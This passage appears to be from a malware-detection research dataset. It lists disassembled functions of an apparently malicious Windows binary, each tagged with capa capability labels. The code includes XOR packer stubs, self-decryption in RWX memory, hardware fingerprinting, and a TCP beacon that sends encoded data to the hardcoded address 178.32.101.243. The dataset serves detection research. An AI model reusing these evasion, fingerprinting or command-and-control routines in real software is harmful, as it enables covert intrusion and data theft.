joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410230
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
ror edx, 0x36
bswap eax
not ebx
bswap esi
dec esi
sbb edi, 0x9e
bswap ebx
inc edx
neg eax
sbb eax, 0xa6
add eax, 0x7a
rcl eax, 0x44
and esi, 0x7b
inc ebx
rcr eax, 4
dec esi
dec ebx
and edi, 0x8d
or esi, 0xa8
neg ebx
add ebx, 0x9c
rcr esi, 0xcf
or edx, 0xeb
and ebx, 0x4f
mov ebx, 0x2d
neg esi
and esi, 0xb3
rcr edx, 0xd2
imul edx
rcl esi, 0xa7
imul edx
mov esi, 0x89
dec ebx
rcr edx, 0x55
ror eax, 0xa1
imul eax
neg eax
sbb eax, 0x13
ror esi, 0xe4
bswap edi
imul edi
mov edi, 0x5a
ror ebx, 0x26
sub eax, 0xb5
dec esi
dec edx
neg ebx
and eax, 0x65
and edx, 0x12
imul eax
xor ecx, ecx
xor edi, edi
ror edi, 0x98
inc eax
add eax, 0xda
dec esi
bswap esi
and esi, 0x4a
or edx, 0x73
add esi, 0xbe
mov esi, 0xfe
sbb ebx, 0x5a
ror eax, 0xc
mov edx, 0xda
neg ebx
and edx, 0x7a
rcr esi, 0x1a
inc ebx
dec ebx
ror edx, 0xb0
dec ebx
imul edx
sub esi, 0x73
dec edi
neg edx
rcr edx, 0x24
ror edi, 0x82
sub edi, 0xf8
imul edi
dec edi
not edi
neg esi
add ebx, 0x7d
or esi, 0x81
and edx, 0xe5
inc edx
mov esi, 0x40
dec edx
not eax
sbb edi, 0x93
rcl edi, 0xdf
sbb eax, 0xe7
and esi, 0x61
mov edi, 0x9d
sbb edi, 0xe
and edi, 0xe8
mov edi, 0xc8
or esi, 0xb0
dec eax
or edx, 0x99
sbb ebx, 0xc1
imul edi
mov ecx, dword [ebp + 0xc]
not edi
dec eax
neg eax
inc edi
neg ebx
inc ebx
inc edi
ror ebx, 0x29
not edi
dec edx
rol eax, 0xc8
and edx, 0x39
inc esi
neg eax
sbb edx, 0xd9
and esi, 0x9b
not edi
imul eax
imul edx
dec edi
mov edi, 0x30
not esi
inc esi
bswap ebx
and edi, 0x43
not esi
imul ebx
sbb eax, 0x9a
imul edi
imul ebx
add esi, 0x4e
rcl edi, 0x3e
inc edi
imul eax
bswap esi
or esi, 0x2a
dec eax
imul edx
dec edi
not ebx
rcr edi, 0xbc
sbb esi, 0xa1
dec eax
rcr edx, 0x2b
neg edi
neg edx
mov ebx, 0x67
neg ebx
dec eax
bswap edi
mov edi, dword [ebp + 8]
xor ebx, eax
mov ebx, ebx
mov eax, eax
not byte [edi]
mov esi, esi
xor esi, ebx
mov ebx, ebx
xor ebx, esi
mov eax, eax
xor eax, eax
xor eax, eax
xor eax, ebx
xor esi, ebx
add byte [edi], 0x26
xor ebx, ebx
mov esi, esi
mov eax, ebx
xor ebx, esi
mov eax, esi
mov ebx, eax
xor ebx, esi
mov esi, ebx
mov eax, eax
sub byte [edi], 0x86
xor eax, ebx
mov eax, eax
mov esi, esi
mov ebx, ebx
xor ebx, eax
xor eax, eax
xor eax, esi
mov eax, esi
xor eax, ebx
imul byte [edi]
inc edi
loop 0x4103f0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x3a1c7e71
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x734b7876
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401f40
Capabilities:
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x43400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
jmp 0x401f68
jmp 0x401f7a
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
push 0
push 0
push 0
push 0
push eax
push 0
push 0
push 4
push 0x4340fc
call fcn.00402de0
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x401fb7
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreateSequential]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x40]
movzx eax, word [ebp - 6]
movzx ecx, word [ebp - 0x1e]
mov edi, dword [ebp - 0xa]
mov ebx, dword [ebp - 0x1c]
xor edi, 0x5d78a569
shl edx, 0x10
xor ebx, 0x12b586fe
or edx, eax
shl ecx, 0x10
movzx eax, word [ebp - 0x20]
xor edx, 0xf45bc123
or ecx, eax
mov eax, dword [ebp - 0x18]
xor ecx, 0xb542d8e1
push ecx
push edx
push edi
push ebx
push 0x14
push 0x434100
mov ecx, eax
lea esi, [eax + 0xc]
call fcn.00402de0
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push str.._Settings.ini
push esi
push str.HardwareId
push str.SilentGameGuardInfo
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x40204e
jmp 0x402065
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00424550
mov esp, ebp
pop ebp
ret

Function at 0x402080
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x43400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
jmp 0x4020a8
jmp 0x4020ba
mov ebx, dword [ebp - 0x18]
cmp dword [ebx + 8], 0xffffffff
jne 0x40218e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 8], eax
cmp eax, 0xffffffff
je 0x40218e
mov eax, 2
push 0xd6e7
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push str.178.32.101.243
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x40212f
push str.178.32.101.243
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40212f
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebx + 8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402150
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40218e
jmp 0x402162
jmp 0x402179
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00424550
mov esp, ebp
pop ebp
ret 8
Function at 0x4021b0
Capabilities:
Encrypt data using rc4 prga
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov eax, dword [0x43400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0xb8], ecx
jmp 0x4021de
jmp 0x4021f0
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jns 0x402204
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0xb8]
mov cl, byte [ebp + 8]
mov byte [ebp - 0xb0], cl
mov word [ebp - 0xb4], 0xadc1
mov byte [edx + 0x30], al
movups xmm0, xmmword [0x5103a8]
movzx ecx, word [0x5103a4]
mov word [ebp - 0x5f], cx
movups xmmword [ebp - 0xaf], xmm0
movzx ecx, word [0x510370]
movups xmm0, xmmword [0x5103b8]
mov word [ebp - 0x2d], cx
mov ecx, dword [0x50ff3c]
movups xmmword [ebp - 0x9f], xmm0
mov dword [ebp - 0xb], ecx
mov ecx, 4
movups xmm0, xmmword [0x510374]
mov byte [ebp - 0xb2], 0
mov byte [ebp - 0xb1], al
movups xmmword [ebp - 0x8f], xmm0
movups xmm0, xmmword [0x510384]
movups xmmword [ebp - 0x7f], xmm0
movups xmm0, xmmword [0x510394]
movups xmmword [ebp - 0x6f], xmm0
movups xmm0, xmmword [0x510340]
movups xmmword [ebp - 0x5d], xmm0
movups xmm0, xmmword [0x510350]
movups xmmword [ebp - 0x4d], xmm0
movups xmm0, xmmword [0x510360]
movups xmmword [ebp - 0x3d], xmm0
movups xmm0, xmmword [0x50ff1c]
movups xmmword [ebp - 0x2b], xmm0
movups xmm0, xmmword [0x50ff2c]
movups xmmword [ebp - 0x1b], xmm0
nop word [eax + eax]
add al, 0x1d
xor al, byte [ebp + ecx - 0xb4]
add al, 0x57
mov byte [ebp + ecx - 0xb4], al
inc ecx
cmp ecx, 0xad
jae 0x4022f3
mov al, byte [ebp - 0xb1]
jmp 0x4022d0
movzx eax, byte [ebp - 0xb3]
push 0
push eax
lea eax, [ebp - 0xb4]
push eax
push dword [edx + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x402334
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x402334
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
jmp 0x402346
jmp 0x40235d
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
Function at 0x4029d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
jmp 0x4029ee
jmp 0x402a00
jmp 0x402a12
push 0x10000000
pop dword [0x6062d4]
jmp 0x402a2b
cmp dword [0x6062d4], 0x10000000
je 0x402a5d
xorps xmm0, xmm0
movups xmmword [0x428c14], xmm0
movups xmmword [0x428c04], xmm0
movups xmmword [0x428bf4], xmm0
movups xmmword [0x428be4], xmm0
movups xmmword [0x428bd4], xmm0
push 0xc
lea eax, [ebp - 0x24]
mov dword [ebp - 0x1c], 0
push eax
xorps xmm0, xmm0
push 0
movq qword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 4]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x14]
add edi, ecx
push eax
push edi
push ecx
mov ecx, esi
mov dword [ebp - 0x18], edi
call fcn.00402c60
test al, al
je 0x402b74
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov ecx, esi
push eax
push edi
push dword [ebp - 4]
call fcn.00402d20
test al, al
je 0x402b74
mov edi, dword [ebp - 4]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x10
push edi
call ebx
mov esi, 0x428c04
mov eax, edi
sub esi, edi
mov edx, 0x10
mov cl, byte [eax + esi]
lea eax, [eax + 1]
xor cl, 0x9f
mov byte [eax - 1], cl
sub edx, 1
jne 0x402ae4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 0x10
push edi
call ebx
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x10
push edi
call ebx
mov esi, 0x428bf4
mov ecx, edi
sub esi, edi
mov edx, 0x10
nop dword [eax]
mov al, byte [ecx + esi]
lea ecx, [ecx + 1]
xor al, 0x9f
mov byte [ecx - 1], al
sub edx, 1
jne 0x402b20
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push 0x10
push edi
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0x14]
sub eax, ecx
sub eax, 0x10
push eax
lea eax, [ecx + 0x10]
mov ecx, esi
push eax
call fcn.00402bb0
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
mov edi, dword [ebp - 0x18]
add eax, 0x10
push ecx
push edi
push eax
mov ecx, esi
call fcn.00402c60
test al, al
jne 0x402ab1
jmp 0x402b86
jmp 0x402b9d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402bb0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
jmp 0x402bce
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push esi
push edi
call ebx
xor ecx, ecx
test esi, esi
jle 0x402c30
mov ebx, dword [ebp - 8]
nop dword [eax]
mov eax, 0x38e38e39
mul ecx
mov eax, ecx
shr edx, 3
lea edx, [edx + edx*8]
shl edx, 2
sub eax, edx
mov dl, byte [eax + ebx + 0xc0]
xor dl, byte [eax + ebx + 0xc]
mov eax, ecx
and eax, 0xf
xor dl, 0xaf
mov al, byte [eax + 0x428c14]
xor al, byte [ecx + edi]
sub al, dl
mov byte [ecx + edi], al
inc ecx
cmp ecx, esi
jl 0x402bf0
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push edi
call ebx
jmp 0x402c4d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x402de0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jmp 0x402df9
push 0x100
push 0
push 0x6062d8
call sub.VCRUNTIME140.dll_memset
mov edx, dword [ebp + 0xc]
add esp, 0xc
xor eax, eax
test edx, edx
jle 0x402ed5
mov esi, dword [ebp + 8]
cmp edx, 0x40
jb 0x402ea8
lea ecx, [edx - 1]
add ecx, esi
lea edi, [edx + 0x6062d7]
cmp ecx, 0x6062d8
jb 0x402e3d
cmp edi, esi
jae 0x402ea8
movaps xmm1, xmmword [0x42d5d0]
lea ecx, [esi + 0x20]
mov edi, edx
mov ebx, 0x6062d8
sub ebx, esi
mov edx, 0x6062e8
and edi, 0xffffffc0
sub edx, esi
mov dword [ebp - 4], edx
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp - 4]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
pxor xmm0, xmm1
movups xmmword [eax + 0x6062d8], xmm0
movups xmm0, xmmword [ecx - 0x50]
pxor xmm0, xmm1
movups xmmword [eax + 0x6062e8], xmm0
add eax, 0x40
movups xmm0, xmmword [ecx - 0x40]
pxor xmm0, xmm1
movups xmmword [ebx + ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
pxor xmm0, xmm1
movups xmmword [esi + ecx - 0x40], xmm0
cmp eax, edi
jl 0x402e63
mov esi, dword [ebp + 8]
cmp eax, edx
jge 0x402ed5
sub esi, 0x6062d8
nop dword [eax]
nop word [eax + eax]
mov cl, byte [esi + eax + 0x6062d8]
xor cl, 0xb0
mov byte [eax + 0x6062d8], cl
inc eax
cmp eax, edx
jl 0x402ec0
jmp 0x402ee7
mov eax, 0x6062d8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x403940
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40396c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x40398e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x403990
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x403a15
jg 0x4039a5
test esi, esi
je 0x403a15
test ecx, ecx
jl 0x4039f8
jg 0x4039af
test eax, eax
je 0x4039f8
cmp edi, ecx
jg 0x4039c3
jl 0x4039b9
cmp esi, eax
jae 0x4039c3
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x403a15
jg 0x4039fb
test esi, esi
je 0x403a15
jmp 0x4039fb
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x403a15
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403a30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x403a54
jl 0x403a48
test esi, esi
jne 0x403a54
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x403a6d
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov ecx, dword [eax]
test ecx, ecx
je 0x403aab
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x403aab
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push ecx
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp + 8], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
jmp 0x403ab1
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
cmp dword [ebx + 0x4c], 0
mov edx, edi
je 0x403b30
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x403ada
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, edi
mov ecx, dword [ebp + 8]
cmp edi, 0xfff
jbe 0x403b1c
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp + 8]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp + 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x403b43
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x403af0
test edx, edx
je 0x403b30
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, edi
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403ea0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x43400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x403ed0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x403f00
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x403f00
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x403fd6
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x403f29
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x403f35
movsx eax, bl
jmp 0x403f6d
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x403f97
sub eax, 1
je 0x403f97
sub eax, 2
jne 0x403fd6
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x403fb5
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x403fd6
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x403fd6
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00424550
mov esp, ebp
pop ebp
ret 4
Function at 0x404240
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x43400c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x4042fc
cmp byte [esi + 0x3d], 0
je 0x4042fc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4042ea
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x4042b1
sub eax, 1
je 0x4042b5
sub eax, 2
jne 0x4042ea
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4042d3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4042ea
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00424550
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.00424550
mov esp, ebp
pop ebp
ret

Function at 0x404d50
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
mov dword [ebp - 4], ecx
nop
xor eax, eax
test cl, 1
je 0x404d6b
bts eax, 7
shr ecx, 1
test cl, 1
je 0x404d76
bts eax, 6
shr ecx, 1
test cl, 1
je 0x404d81
bts eax, 5
shr ecx, 1
test cl, 1
je 0x404d8c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x404d97
bts eax, 3
shr ecx, 1
test cl, 1
je 0x404da2
bts eax, 2
shr ecx, 1
test cl, 1
je 0x404dad
bts eax, 1
test cl, 2
je 0x404db6
bts eax, 0
shl eax, 0x18
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
